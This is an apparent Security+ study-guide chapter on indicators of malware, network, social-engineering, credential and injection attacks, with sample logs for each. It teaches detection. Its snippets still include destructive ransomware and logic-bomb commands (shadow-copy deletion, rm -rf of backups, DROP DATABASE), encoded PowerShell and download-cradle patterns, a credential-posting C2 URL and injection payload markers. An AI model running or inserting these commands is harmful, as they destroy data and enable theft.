8 Indicators of Malicious Activity · Security+

Exam objective 2.5: Given a scenario, analyze indicators of malicious activity.

This objective asks you to look at evidence—log entries, user reports, alerts, system behavior, and network traffic—and determine what kind of attack is happening. It covers seven groups of indicators: malware (ransomware, Trojans, worms, spyware, adware, viruses, rootkits, keyloggers, logic bombs, and fileless malware); physical attacks (tailgating, shoulder surfing, skimming, and forced entry); network attacks (DDoS, protocol downgrade, rogue devices, sniffing, spoofing, on-path, DNS attacks, and cache poisoning); social engineering (smishing, vishing, phishing, whaling, spear phishing, quishing, impersonation, and deepfakes); general indicators of compromise; application attacks (injection, buffer overflow, replay, privilege escalation, forgery, and directory traversal); and credential attacks (password spraying, brute force, user enumeration, replay, and MFA bypass).

This is a "given a scenario, analyze" objective—one of the most heavily tested on the exam and a frequent source of performance-based questions. You will be shown a log excerpt, an email, a description of user complaints, or a network capture and asked to name the attack or choose the right response. Memorizing definitions is not enough; you must practice recognizing the pattern each attack leaves behind. This chapter therefore includes sample log snippets for many attacks. Study the snippets until the pattern jumps out at you.

Indicators of Compromise and Indicators of Attack

An indicator of compromise (IoC) is an observable artifact that suggests a system has been breached or that malicious activity has occurred: a known-bad file hash, a connection to a command-and-control (C2) IP address, an unexpected scheduled task, or a cleared security log. IoCs are typically forensic—they describe evidence left behind.

An indicator of attack (IoA) focuses on attacker behavior in progress, such as a process injecting code into another process or an Office document spawning PowerShell. IoAs help detect novel attacks whose specific hashes and IPs are not yet known.

IoCs are shared through threat intelligence feeds, often in the STIX (Structured Threat Information Expression) format transported over TAXII (Trusted Automated Exchange of Intelligence Information), and are loaded into SIEM, EDR, firewall, and email security tools for automated matching. Chapter 17 (objective 4.4) covers alerting and monitoring tools, and Chapter 21 (objective 4.8) covers using logs and artifacts in investigations.

For scenario questions, read the evidence first and the answer choices second. Ask: What is being targeted (a user, a host, the network, an application, credentials)? What pattern repeats (one account many passwords, many accounts one password, many sources one target)? The pattern almost always identifies the attack.

Malware Indicators

Malware is any software designed to harm, exploit, or gain unauthorized access to systems. The exam expects you to identify malware types from their behavior and symptoms.

Ransomware

Ransomware encrypts files (crypto-ransomware) or locks the system (locker ransomware) and demands payment, usually in cryptocurrency, for the decryption key. Modern ransomware operations use double extortion: they exfiltrate data before encrypting it and threaten to publish it if the victim does not pay. Some add a third layer by launching DDoS attacks or contacting the victim's customers. Many groups operate as ransomware-as-a-service (RaaS), renting their malware to affiliates.

Indicators include:

Mass file renames with a new extension (for example, .locked, .crypt, or a random string) and ransom notes (README_RESTORE.txt) dropped in every directory.
Sudden spikes in disk I/O and CPU as thousands of files are read and rewritten.
Deletion of Volume Shadow Copies and backups to prevent recovery.
Disabling of security tools and recovery features before encryption begins.
Large outbound transfers in the hours or days before encryption (the exfiltration stage).
File server access from a single account touching an abnormally large number of files.

Process: C:\Users\Public\svc.exe
CommandLine: vssadmin.exe delete shadows /all /quiet
CommandLine: wmic shadowcopy delete
CommandLine: bcdedit /set {default} recoveryenabled No
CommandLine: wbadmin delete catalog -quiet
FileEvents (60 s): 14,882 files renamed *.docx -> *.docx.k8x2
New file: \\FS01\Finance\README_RESTORE_FILES.txt

Deleting shadow copies and disabling Windows recovery are among the most reliable ransomware precursors; EDR tools alert on them specifically.

Trojan

A Trojan (Trojan horse) is malware disguised as legitimate software. The user installs it willingly—a "free" utility, a cracked game, a fake browser update, or a fake invoice viewer—and it performs malicious actions in the background. A remote access Trojan (RAT) gives the attacker interactive control of the system. Trojans do not self-replicate.

Indicators include newly installed software from untrusted sources, unexpected outbound connections from that software to unfamiliar hosts, new persistence mechanisms (scheduled tasks, Run keys, services), and security warnings the user clicked through. A program named like a system utility running from an unusual folder (for example, C:\Users\bob\AppData\Roaming\svchost.exe) is a classic sign.

Worm

A worm is self-replicating malware that spreads across networks without user interaction, usually by exploiting a vulnerability in a network service. WannaCry (2017) spread worldwide in hours by exploiting the SMBv1 flaw known as EternalBlue.

Indicators include a sudden surge of scanning traffic on a specific port across many internal hosts, many machines becoming infected nearly simultaneously, network congestion, and IDS alerts for the same exploit signature from many sources.

FW-CORE 10:02:11 DENY TCP 10.1.4.22:51515 -> 10.1.5.0/24:445 (254 attempts)

FW-CORE 10:02:13 DENY TCP 10.1.4.37:49822 -> 10.1.6.0/24:445 (254 attempts)

FW-CORE 10:02:15 DENY TCP 10.1.5.18:50110 -> 10.1.7.0/24:445 (254 attempts)

IDS 10:02:16 ET EXPLOIT Possible ETERNALBLUE MS17-010 Echo Request (x312)

Many internal hosts sweeping entire subnets on TCP 445 within seconds, with each newly infected host starting its own sweep, is a worm.

Memory aid

Virus needs a host and a human; worm needs neither. A virus rides inside another file and spreads when someone runs or shares it. A worm is standalone and spreads itself across the network.

Spyware

Spyware secretly monitors user activity and collects information—browsing history, credentials, screenshots, location, messages—and sends it to a third party. Stalkerware is spyware installed on a partner's or family member's phone. Commercial mercenary spyware (such as Pegasus) has been used against journalists and officials.

Indicators include unexpected outbound data transfers, unknown browser extensions, unfamiliar processes with network activity, battery drain and data usage spikes on mobile devices, and accounts showing activity the user did not perform.

Adware

Adware displays unwanted advertisements, often by injecting ads into web pages, changing the browser home page or default search engine, or opening pop-ups. It is frequently bundled with free software as a potentially unwanted program (PUP). While less destructive than other malware, adware degrades performance, tracks users, and may redirect them to malicious sites.

Indicators include pop-ups appearing even when the browser is closed, a changed home page or search engine the user did not set, new toolbars or extensions, and redirects to unfamiliar sites.

Virus

A virus is malicious code that attaches itself to a host file or program and replicates when that host is executed, typically requiring user action. Types include file infector viruses, boot sector viruses that infect the master boot record, macro viruses embedded in Office documents, polymorphic viruses that change their code each time they replicate to evade signatures, and metamorphic viruses that rewrite themselves entirely.

Indicators include modified executable file sizes or hashes, antivirus detections, unexpected macros in documents, and system instability.

Rootkit

A rootkit is malware designed to gain privileged (root or kernel-level) access and hide its presence—and the presence of other malware—from the operating system and security tools. Rootkits can operate in user mode, kernel mode, firmware (UEFI/BIOS), or the boot process (bootkits). Because a kernel rootkit controls the OS, it can make the OS lie: hiding files, processes, registry keys, and network connections. Indicators are subtle by design:

Discrepancies between what the OS reports and what an external view shows—for example, network traffic seen at the firewall from a host whose netstat shows no such connection, or disk space consumed by files no directory listing reveals.
Security tools disabled or failing to start.
Unsigned or unexpected kernel drivers.
Secure Boot or measured boot integrity failures.

Detection often requires booting from trusted external media, offline scanning, memory forensics, or comparing measured boot values attested by the TPM. Remediation of firmware or kernel rootkits usually means reimaging—or replacing hardware for firmware infections.

Keylogger

A keylogger records keystrokes to capture passwords, credit card numbers, and messages. Software keyloggers hook keyboard APIs; hardware keyloggers are small devices placed between the keyboard and the computer or built into a malicious cable.

Indicators include unknown processes using keyboard hooks, a strange USB device or adapter on a keyboard cable, accounts compromised even though the user never entered credentials on a phishing site, and periodic small outbound uploads of text data.

Logic Bomb

A logic bomb is malicious code that lies dormant until a specific condition triggers it: a date and time, a particular user logging in, or—commonly in insider cases—an employee's name disappearing from the payroll database. When triggered, it deletes data, corrupts systems, or disables services. Indicators include unexplained scripts or scheduled tasks created by an administrator (often one who has since left or been disciplined), code containing date checks or conditional destruction routines, and damage that occurs on a specific date or after a specific event. Code review, separation of duties, and change management help prevent logic bombs.

# found in /etc/cron.daily/cleanup.sh, created by user: dmorgan (terminated 2026-08-31) if ! grep -q "dmorgan" /opt/hr/active_staff.csv; then

rm -rf /srv/db/backups/*
mysql -e "DROP DATABASE orders;"
fi
Fileless Malware

Fileless malware runs in memory and abuses legitimate, built-in system tools rather than writing a traditional executable to disk. This "living off the land" approach uses tools such as PowerShell, Windows Management Instrumentation (WMI), mshta.exe, rundll32.exe, regsvr32.exe, and certutil.exe (collectively called LOLBins, living-off-the-land binaries). Persistence is achieved through registry keys, WMI event subscriptions, or scheduled tasks that relaunch the in-memory payload. Because there is no malicious file to scan, signature-based antivirus often misses it. Indicators include:

Office applications spawning command shells or PowerShell.
PowerShell launched with encoded commands (-enc), hidden windows (-w hidden), or download cradles (IEX (New-Object Net.WebClient).DownloadString(...)).
Script content stored in registry values.
Unusual WMI subscriptions.

EventID 4688 (Process Creation)

ParentProcess: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE NewProcess: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

CommandLine: powershell.exe -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBi...

A Word document launching hidden PowerShell with a Base64-encoded command is a near-certain malicious indicator. Detection relies on EDR behavior monitoring, PowerShell script block logging, and memory analysis.

Malware Key distinguishing behavior Classic indicator
Ransomwa
re

Encrypts/locks and demands payment Renamed files, ransom notes, shadow copies deleted Trojan Disguised as legitimate software User installed "useful" program; hidden C2 traffic Worm Self-spreads over the network, no user action

Mass scanning on one port from many hosts

Spyware Covertly collects information Unexplained outbound data, unknown extensions Adware Unwanted advertising Pop-ups, changed home page or search engine Virus Attaches to host files, needs execution Modified executables, infected macros Rootkit Hides itself with elevated privileges OS and external views disagree; tools disabled Keylogger Records keystrokes Credentials stolen without phishing; hook processes Logic bomb

Dormant until a condition is met Damage on a date or event; insider-authored script Fileless Runs in memory via built-in tools Encoded PowerShell, Office spawning shells

Common trap

Do not confuse a Trojan with a RAT or a worm. A Trojan's defining trait is disguise—the user is tricked into running it. A RAT is a Trojan whose payload provides remote control. A worm's defining trait is self-propagation. If the stem says "the user downloaded a free PDF converter," think Trojan; if it says "infections spread to 300 hosts in ten minutes with no user involvement," think worm.

Physical Attack Indicators

Physical attacks bypass technical controls by targeting buildings, devices, and people in person.

Tailgating

Tailgating occurs when an unauthorized person follows an authorized person through a secured door without the authorized person's knowledge. Piggybacking is the same act with the authorized person's consent—for example, holding the door for someone carrying boxes. The exam often treats the two together.

Indicators include badge-reader logs showing one entry while cameras show two people, people entering without badging, and "door held open" alarms. Access control vestibules (mantraps), turnstiles, guards, and training employees to challenge unbadged people are the countermeasures.

ACS 08:47:02 Door: DC-Main Badge: 10472 (A. Patel) GRANTED
ACS 08:47:09 Door: DC-Main DOOR HELD OPEN > 5s ALARM
CCTV 08:47:03-08:47:08 Cam-14: 2 persons enter
Shoulder Surfing

Shoulder surfing is observing someone's screen, keyboard, or PIN pad to steal information—directly, with binoculars, or with a hidden camera. Indicators include unknown people lingering near workstations, ATMs, or reception desks, and account compromises that follow a user working in a public place. Privacy screens, positioning screens away from windows and walkways, and shielding PIN entry are defenses.

Skimming

Skimming is capturing payment card or access card data with a hidden device. A card skimmer is an overlay placed on an ATM, fuel pump, or point-of-sale card slot, often paired with a pinhole camera or fake keypad to capture PINs. Contactless skimming uses an RFID or NFC reader to read badges or cards at close range, enabling card cloning.

Indicators include loose, bulky, or mismatched card readers; tamper-evident seals that are broken; customers reporting fraudulent transactions traced to a common point of purchase; and cloned badges producing access logs for an employee who was elsewhere at the time.

Forced Entry

Forced entry is physically breaking into a facility, room, cabinet, or device: prying doors, breaking windows, defeating locks, or cutting fences. Indicators include damaged locks or door frames, broken windows, forced-door alarms from the access control system, missing equipment, opened server racks or device cases, and broken tamper-evident seals. Bollards, reinforced doors, intrusion alarms, cameras, and tamper detection on equipment are typical controls.

Real-world scenario

A guard notices that the cable lock on a reception laptop was cut overnight and the laptop is missing. Access logs show no badge activity after 7:00 p.m., but the alarm system recorded a "door forced open" event at a side entrance at 2:14 a.m. This is forced entry. The response includes notifying law enforcement, determining whether the laptop's disk was encrypted, revoking any credentials or certificates stored on it, and reviewing camera footage.

Network Attack Indicators

Distributed Denial of Service (DDoS)

A denial-of-service (DoS) attack makes a service unavailable by exhausting its bandwidth, connection tables, CPU, or application resources. A distributed denial-of-service (DDoS) attack uses many sources, typically a botnet of compromised computers and IoT devices. Major categories:

Volumetric attacks flood bandwidth (UDP floods, ICMP floods).
Protocol attacks exhaust connection state in servers and firewalls (SYN floods).
Application-layer (Layer 7) attacks send legitimate-looking requests that are expensive to serve (HTTP GET floods against search pages).
Amplified and reflected attacks spoof the victim's IP address as the source and send small requests to third-party servers (DNS, NTP, memcached, CLDAP) that reply with much larger responses to the victim.

Figure 8.1: A reflected and amplified DDoS attack, in which spoofed small requests trigger large third-party responses to the victim

Indicators include sudden traffic spikes from many geographically diverse sources, half-open connections filling server tables, slow or unresponsive services, large volumes of unsolicited DNS or NTP responses, and upstream link saturation.

fw01: SYN flood threshold exceeded: 48,211 SYN/s to 203.0.113.10:443
fw01: half-open sessions 262,144/262,144 (table full)
netflow top talkers (60s): 18,904 unique src IPs -> 203.0.113.10

src port 53/udp avg 3,412 bytes/pkt (DNS responses, no matching queries)

The last line shows a reflected, amplified DNS attack: large DNS responses arriving that the victim never requested. Mitigations include DDoS scrubbing services, CDNs, rate limiting, SYN cookies, and upstream filtering by the ISP.

Protocol Downgrade

A protocol downgrade attack forces two parties to negotiate an older, weaker protocol version or cipher suite than both actually support, so the attacker can exploit the weaker one. An on-path attacker interferes with the handshake—for example, by dropping the TLS 1.3 handshake attempts until the client falls back to an older version, or by modifying the offered cipher list. Historical examples include POODLE (forcing SSL 3.0) and FREAK and Logjam (forcing export-grade cryptography). SSL stripping is a related attack that downgrades HTTPS to plain HTTP by intercepting the redirect.

Indicators include connections negotiating older protocols (SSL 3.0, TLS 1.0) or weak ciphers when clients and servers support stronger ones, HTTP traffic where HTTPS is expected, and repeated failed handshakes followed by fallback.

tls-inspect: client 10.4.2.88 offered TLS1.3,TLS1.2 ; server negotiated TLS1.0 cipher TLS_RSA_EXPORT_WITH_RC4_40_MD5 <-- weak/export cipher

Defenses include disabling old protocols and weak ciphers on servers and clients, TLS 1.3 (which has built-in downgrade protection), and HTTP Strict Transport Security (HSTS) to prevent HTTPS stripping.

Rogue Devices and Services

A rogue in network terms is an unauthorized device or service imitating or bypassing legitimate infrastructure:

A rogue access point is an unauthorized AP connected to the network. An evil twin is an attacker's AP broadcasting the same SSID as a legitimate network to lure clients, often combined with deauthentication frames that disconnect users from the real AP.
A rogue DHCP server hands out attacker-controlled gateway and DNS settings so traffic flows through the attacker.
A rogue device is any unauthorized system on a switch port (see Chapter 7).

Indicators include WIPS alerts for unknown BSSIDs broadcasting your SSID, duplicate SSIDs with different security settings, bursts of deauthentication frames, clients receiving unexpected default gateway or DNS addresses, and DHCP offers from unknown servers. Controls include WIPS, 802.1X, DHCP snooping on switches, and port security.

WIPS ALERT SSID "CorpWiFi" BSSID 3c:22:fb:91:0a:17 UNKNOWN (not in AP inventory)

Security: OPEN Channel 6 Signal -41 dBm (Lobby)

WIPS ALERT Deauth flood: 1,200 frames/10s spoofing BSSID 00:1a:1e:44:2c:10 (authorized AP)

Sniffing

Sniffing (packet capture or eavesdropping) is intercepting and reading network traffic. On wired networks, an attacker needs access to the traffic path—a compromised host, a SPAN port, a hub, or an on-path position created by ARP poisoning or MAC flooding (filling a switch's CAM table so it floods frames out all ports like a hub). On wireless networks, anyone in range can capture frames. Indicators include network interfaces in promiscuous mode, packet capture tools installed on hosts, unexpected SPAN or mirror port configurations, switch CAM table overflow alerts, and credential compromise for accounts that use cleartext protocols. Encryption (TLS, SSH, IPsec, WPA3) is the primary defense, because sniffed encrypted traffic is unreadable.

Spoofing

Spoofing is falsifying an identifier so that traffic or communications appear to come from a trusted source. Types include:

IP spoofing: forging the source IP in packets, used in reflected DDoS and to bypass IP-based access controls.
MAC spoofing: changing a device's MAC address to bypass MAC filtering or impersonate another device.
ARP spoofing (ARP poisoning): sending forged ARP replies that map the attacker's MAC address to another host's IP (usually the default gateway), redirecting traffic through the attacker.
Email spoofing: forging the From address, countered by SPF, DKIM, and DMARC (Chapter 14).
Caller ID spoofing: faking the number displayed for a phone call, common in vishing. arpwatch: changed ethernet address 10.0.0.1 00:0c:29:aa:bb:cc -> 00:50:56:de:ad:01 (gateway)

arpwatch: flip flop 10.0.0.1 00:50:56:de:ad:01 <- 00:0c:29:aa:bb:cc
$ arp -a
10.0.0.1 00-50-56-de-ad-01 (gateway)
10.0.0.57 00-50-56-de-ad-01 (attacker workstation - same MAC!)

Two IP addresses resolving to the same MAC—one of them the default gateway—is the signature of ARP poisoning. Dynamic ARP inspection (DAI) on switches prevents it.

Figure 8.2: ARP poisoning places the attacker on the path between the victim and the default gateway On-Path Attacks

An on-path attack (formerly called man-in-the-middle) places the attacker between two communicating parties so they can intercept, read, modify, or relay traffic while each party believes it is talking directly to the other. Attackers achieve on-path positions through ARP poisoning, rogue DHCP, evil twin APs, DNS poisoning, compromised routers, or malicious proxies. An on-path browser (man-in-the-browser) attack uses malware inside the victim's browser to modify transactions after they are displayed but before they are sent.

Indicators include certificate warnings that users click through, certificates issued by unknown CAs, unexpected changes to the default gateway's MAC address, increased latency, and altered transaction details (a recipient account number that differs between what the user typed and what the bank received). Mutual TLS, certificate pinning, HSTS, and encrypted protocols are defenses.

DNS Attacks

The Domain Name System is a frequent target because nearly every connection begins with a DNS lookup. DNS attacks include:

DNS hijacking: changing where a domain resolves by compromising the registrar account, the authoritative DNS server, a router's DNS settings, or a host's configuration.
Domain hijacking: taking control of the domain registration itself, often through a compromised registrar account or social engineering of the registrar.
DNS tunneling: encoding data inside DNS queries and responses to exfiltrate data or communicate with C2 through firewalls that allow DNS.
DNS amplification: a reflected DDoS using open resolvers.
Pharming: redirecting users from legitimate sites to fraudulent ones, often by modifying the local hosts file or poisoning DNS.
Typosquatting and lookalike domains: registering examp1e.com to catch users and phishing victims.

dns-query client 10.3.8.41 TXT a9f3c2e1b07d4e6f8a1b.7c2d.data.x-cdn-sync.net dns-query client 10.3.8.41 TXT b18e44f0c2a96d3e1f77.7c2e.data.x-cdn-sync.net dns-query client 10.3.8.41 TXT c0d6a1b39e8f4472ab05.7c2f.data.x-cdn-sync.net ... 4,812 unique subdomains of x-cdn-sync.net from one host in 30 minutes Long, random-looking subdomains queried in high volume to a single domain—often with TXT record types—is the signature of DNS tunneling. Indicators of DNS hijacking include a sudden change in a domain's resolved IP or name server records, and users reaching sites with invalid certificates.

Cache Poisoning

DNS cache poisoning (DNS spoofing) inserts forged records into a DNS resolver's cache so that every client using that resolver is sent to the attacker's IP address for the poisoned name until the record expires. Attackers race the legitimate response by flooding the resolver with forged replies that guess the transaction ID and source port (the technique Dan Kaminsky disclosed in 2008). The term also applies to ARP cache poisoning (see spoofing) and to web cache poisoning, in which a shared web cache stores and serves a malicious response.

Indicators include many users simultaneously reaching a wrong IP for a well-known domain, resolver caches containing records that differ from the authoritative server's answers, unusually long TTLs on suspicious records, and a flood of DNS responses with mismatched transaction IDs. DNSSEC prevents cache poisoning by digitally signing DNS records so resolvers can validate their authenticity; randomizing source ports and transaction IDs makes forgery harder.

Exam tip

DNS cache poisoning corrupts a resolver so many users are affected. Modifying a single machine's hosts file is local pharming, not cache poisoning. Changing the records at the registrar or authoritative server is DNS hijacking. DNSSEC is the answer when a question asks how to ensure DNS responses are authentic.

Network attack

What the attacker does Telltale indicator Key defense

DDoS Floods target from many sources

Traffic spike from many IPs, unsolicited responses

Scrubbing service, CDN,

rate limiting

Network attack

What the attacker does Telltale indicator Key defense

Protocol downgrade

Forces weaker protocol or cipher

Old TLS version or export cipher negotiated Disable legacy protocols, HSTS, TLS 1.3

Rogue AP / evil twin

Imitates network infrastructure

Unknown BSSID with corporate SSID, deauth

floods

Wips, 802.1x

Sniffing Captures traffic Promiscuous NIC, CAM table overflow Encryption

Arp

spoofing

Forges IP-to-MAC mappings Two IPs share a MAC; gateway MAC changes Dynamic ARP inspection

On-path Intercepts and relays traffic Certificate warnings, altered transactions TLS with validation, pinning

Dns

tunneling

Hides data in DNS Long random subdomains, high TXT volume DNS monitoring, filtering

Cache poisoning

Corrupts resolver cache Many users to wrong IP DNSSEC

Social Engineering Indicators

Social engineering manipulates people into revealing information, granting access, or performing actions. It exploits psychological principles such as authority, urgency, scarcity, intimidation, familiarity or liking, social proof (consensus), and trust. Recognizing these pressure tactics is itself the most important indicator. Chapter 6 introduced these as threat vectors; here we focus on recognizing them in a scenario.

Phishing

Phishing is the broad practice of sending fraudulent messages—most commonly email—that impersonate trusted entities to trick recipients into clicking malicious links, opening malicious attachments, or entering credentials on fake sites.

Indicators in an email include:

A display name that does not match the sending address ("IT Support" <it-support@micros0ft-help.co>).
Reply-To set to a different, external address.
Failed SPF, DKIM, or DMARC checks in the message headers.
Links whose displayed text differs from the actual URL, or URLs using lookalike domains, URL shorteners, or IP addresses.
Urgent or threatening language ("Your mailbox will be deleted in 24 hours").
Unexpected attachments, especially macro-enabled documents, archives, HTML files, or disk images.
Generic greetings, unusual grammar, and requests that bypass normal processes.

From: "Microsoft 365 Security" <no-reply@m365-secure-verify.com>
Reply-To: helpdesk.verify@protonmail.example
Return-Path: <bounce@mailer.bulk-sender.example>

Authentication-Results: spf=fail (sender IP 198.51.100.77 not permitted); dkim=none; dmarc=fail action=quarantine header.from=m365-secure-verify.com Subject: [Action Required] Unusual sign-in - verify within 24 hours

Body link text: https://login.microsoftonline.com
Actual href: https://login-microsoftonline.m365-secure-verify.com/auth
Spear Phishing and Whaling

Spear phishing is phishing targeted at a specific person or small group, personalized with research about the target—names of colleagues, current projects, recent events—to increase credibility. Whaling is spear phishing aimed at senior executives ("big fish") such as the CEO or CFO, often involving fake legal subpoenas, board communications, or wire transfer requests.

Closely related is business email compromise (BEC), in which attackers use a compromised or spoofed executive or vendor account to request wire transfers, gift cards, payroll changes, or sensitive data. Indicators include requests to change banking details, unusual payment urgency, requests for secrecy ("don't tell anyone until the deal is announced"), and messages sent when the executive is known to be traveling.

Smishing, Vishing, and Quishing

Smishing is phishing via SMS or other text messaging: fake package delivery notices, bank fraud alerts, toll payment reminders, and "is this you?" verification codes. Indicators include short links, unfamiliar sender numbers, and requests to reply with codes or tap a link.
Vishing is voice phishing over the phone or VoIP: callers impersonating IT support, banks, the IRS, or executives. Attackers often spoof caller ID. Indicators include pressure to act immediately, requests for passwords or MFA codes, and refusal to allow a callback through an official number.
Quishing is QR code phishing. A QR code in an email, on a parking meter sticker, or on a flyer leads to a credential-harvesting site. QR codes evade email link scanners because the URL is embedded in an image, and they move the victim to a mobile device that may lack corporate protections. Indicators include unexpected QR codes in emails ("scan to re-enable MFA"), stickers placed over legitimate QR codes, and destination URLs that do not match the claimed organization.

Impersonation

Impersonation is pretending to be someone else—an IT technician, a delivery driver, an auditor, a vendor, a new employee, or an executive—to gain trust or access. It often relies on pretexting, a fabricated scenario that justifies the request ("I'm from the copier company; we got an alert about your device"). Indicators include unexpected visitors without verifiable appointments, help-desk callers who cannot answer verification questions but press for password or MFA resets, and urgent requests from "executives" using personal email addresses or new phone numbers.

Deepfake

A deepfake is synthetic audio, video, or imagery generated with AI to convincingly imitate a real person. Attackers use voice clones in vishing calls (a "CEO" phoning finance to approve a wire) and synthetic video in conference calls—in a widely reported 2024 case, a finance employee in Hong Kong transferred about US $25 million after a video meeting in which the CFO and colleagues were all deepfakes. Indicators include unnatural blinking or lip-sync, audio artifacts, odd lighting or edges around the face, the "person" avoiding turning their head or interacting spontaneously, unusual payment requests delivered by voice or video, and pressure to bypass normal approval. The strongest defense is process: out-of-band verification through a known, independently obtained channel, and dual approval for financial transactions. Chapter 9 discusses deepfakes as an AI threat.

Real-world scenario

A payroll clerk receives a phone call from the CFO's mobile number. The voice sounds exactly like the CFO and asks her to update an employee's direct deposit account before the 3:00 p.m. payroll cutoff, saying he is boarding a flight and cannot use email. The clerk follows policy: she hangs up and calls the CFO's assistant on the directory number, who confirms the CFO is in a meeting down the hall. The indicators—caller ID that can be spoofed, an AI-cloneable voice, urgency, and a request to bypass normal channels—point to vishing with a likely deepfake voice. Out-of-band verification stopped it.

Indicators of Compromise

The objective lists specific IoC types you must recognize.

Hash

A file hash (MD5, SHA-1, or preferably SHA-256) uniquely identifies a file's content. Threat intelligence feeds publish hashes of known malware; EDR and antivirus compare files against them. Hashes are precise but brittle: changing a single byte produces a completely different hash, so attackers easily evade hash-based detection with recompilation or polymorphism. Hash IoCs are best for confirming a known sample. Fuzzy hashing (such as ssdeep) can identify similar but not identical files.

IP Address

An IP address IoC identifies a malicious host—a C2 server, a phishing site, a scanner, or a source of attacks. Connections to known-bad IPs are strong indicators, but IPs change quickly, may be shared (cloud hosting, CDNs, VPNs, Tor exit nodes), and age out of usefulness rapidly.

Domain

A domain IoC identifies malicious domains used for phishing, malware delivery, or C2. Indicators include newly registered domains, lookalike domains, and domain generation algorithm (DGA) patterns— malware that generates many pseudo-random domain names daily to find its C2 server.

proxy 10.2.9.15 GET http://xkqjvbtrlmw.top/ NXDOMAIN
proxy 10.2.9.15 GET http://pzhruqnlcbae.top/ NXDOMAIN
proxy 10.2.9.15 GET http://mvtqylrwhxzo.top/ NXDOMAIN

proxy 10.2.9.15 GET http://atnqzeyrkpou.top/ 200 OK (registered 2 days ago)

A host querying many random, nonexistent domains until one resolves is the signature of DGA-based malware.

Memory aid

The Pyramid of Pain (David Bianco) ranks IoCs by how much it hurts the attacker when you detect them. From easiest-to-change to hardest: hash values, IP addresses, domain names, network/host artifacts, tools, and tactics/techniques/procedures (TTPs). Blocking a hash barely inconveniences an attacker; detecting their TTPs forces them to change how they operate.

Malicious Processes

Malicious process indicators include unknown executables running, legitimate process names in the wrong location (svchost.exe in C:\Users\Public\), unusual parent-child relationships (Excel spawning cmd.exe, services.exe spawning a browser), processes with misspelled names (scvhost.exe, lsasss.exe), processes running from temporary folders, and processes injecting into others (for example, accessing lsass.exe memory to dump credentials).

Sysmon EventID 10 (ProcessAccess)
SourceImage: C:\Users\Public\Music\update.exe
TargetImage: C:\Windows\System32\lsass.exe
GrantedAccess: 0x1010

Access to LSASS memory by an untrusted process is a classic credential-dumping indicator (tools like Mimikatz).

File System Artifacts

File system artifacts are traces left on disk: new or modified files in system directories, dropped tools and scripts, ransom notes, archives staged for exfiltration (C:\ProgramData\x\data.7z), persistence entries, prefetch files showing program execution, unexpected changes in file permissions, and alternate data streams hiding content. File integrity monitoring (FIM) detects unauthorized changes to critical files.

Timestamp

Timestamps help build a timeline and reveal anomalies: logins at 3:00 a.m. for an employee who works 9 to 5, files modified on a weekend when no change was scheduled, or activity clustered just before a resignation. Attackers also engage in timestomping—altering file creation, modification, and access times so malicious files blend in with legitimate system files. A file in System32 with a creation time years earlier than its MFT entry change time, or a timestamp later than the current date, suggests tampering. Accurate time synchronization (NTP) across systems is essential for correlating events.

Log Manipulation

Log manipulation occurs when attackers delete, modify, or stop logs to hide their actions. Indicators include cleared event logs, gaps in log sequences, stopped logging services, reduced audit policies, and log entries that end abruptly when an incident began.

EventID 1102 Source: Microsoft-Windows-Eventlog

"The audit log was cleared." Subject: CORP\svc_backup 2026-09-14 02:11:47 EventID 104 System log "The System log file was cleared." 2026-09-14 02:11:49 Linux: auth.log size 0 bytes; last entry in remote syslog 02:10:58; ~/.bash_history - > /dev/null

Defenses include forwarding logs in real time to a centralized SIEM or write-once (WORM) storage that the attacker cannot reach, alerting on log-clearing events, and hashing log files to detect tampering. An absence of logs is itself an indicator.

Excessive Resource Consumption

Excessive resource consumption—sustained high CPU, GPU, memory, disk, or network usage—can indicate cryptocurrency mining (cryptojacking), ransomware encryption, data exfiltration, DDoS participation as part of a botnet, or a worm scanning. Cloud environments may reveal it as an unexpected spike in the bill, often from attacker-launched compute instances mining cryptocurrency with stolen cloud keys.

Plaintext Strings

Plaintext strings in files, memory, or network traffic can reveal malicious intent: hardcoded C2 URLs and IP addresses, embedded credentials, suspicious commands, ransom note text, or known malware family names. Analysts extract readable strings from binaries with the strings utility, and YARA rules match malware using combinations of strings and byte patterns. Sensitive data in plaintext crossing the network—credit card numbers or passwords—is also an indicator of exfiltration or insecure protocols. $ strings -n 8 invoice_viewer.exe | grep -Ei "http|cmd|pass|\.onion"

http://185.220.101.7/gate.php

cmd.exe /c schtasks /create /tn "OneDriveSync" /tr %APPDATA%\ov.exe /sc onlogon POST /gate.php?id=%s&pass=%s

yourfiles4d2k7mq.onion

Account Lockout

Account lockout events occur when too many failed login attempts exceed a threshold. A single lockout is usually a user who forgot a password. Indicators of attack include many lockouts across many accounts at once (brute force at scale), repeated lockouts of privileged accounts, lockouts originating from unfamiliar IPs, and lockouts of accounts whose owners were not trying to log in. Note that attackers can also cause lockouts deliberately as a denial-of-service against users.

Impossible Travel

Impossible travel is a login pattern that would require a user to travel faster than physically possible— for example, a successful sign-in from Chicago at 9:02 a.m. and another from Singapore at 9:20 a.m. It strongly suggests stolen credentials or tokens. Be aware of false positives from VPNs, mobile carrier egress points, and cloud proxies, which make a user appear somewhere they are not.

SignInLog user: m.lee@corp.example

2026-09-20 09:02:14 UTC Chicago, US IP 198.51.100.24 Success MFA: satisfied 2026-09-20 09:20:51 UTC Singapore, SG IP 203.0.113.199 Success MFA: token (previously satisfied)

Distance 15,000 km in 18 min -> RISK: Impossible travel (High)

Notice that the second login succeeded using a token from a previous MFA—a hint that a session token was stolen, which we discuss under MFA bypass.

Concurrent Sessions

Concurrent sessions occur when the same account is logged in from multiple locations or devices at the same time where that is not expected—a user's account active on their office workstation while also connected via VPN from another country. Concurrent session indicators often accompany impossible travel and suggest credential sharing or compromise. Policies can limit concurrent sessions and alert on violations.

Application Attack Indicators

Application attacks target the software that processes user input. Web server logs, WAF logs, and application logs are the main evidence sources. Chapter 14 covers input validation, WAFs, and secure coding defenses.

Injection

Injection occurs when untrusted input is interpreted as code or commands by an interpreter. Major types:

SQL injection (SQLi): input alters a database query. Indicators include single quotes, OR 1=1, UNION SELECT, comment sequences (--, #), and SQL keywords in URL parameters or form fields, along with database errors in responses.
Command (OS) injection: input is passed to a system shell. Indicators include ;, &&, |, and backticks followed by commands such as whoami, cat /etc/passwd, or ping.
LDAP injection: input alters a directory query, using characters such as *, (, ), and |.
XML injection and XML External Entity (XXE): malicious XML that reads local files or makes server-side requests, indicated by <!DOCTYPE and <!ENTITY ... SYSTEM "file:///...">.
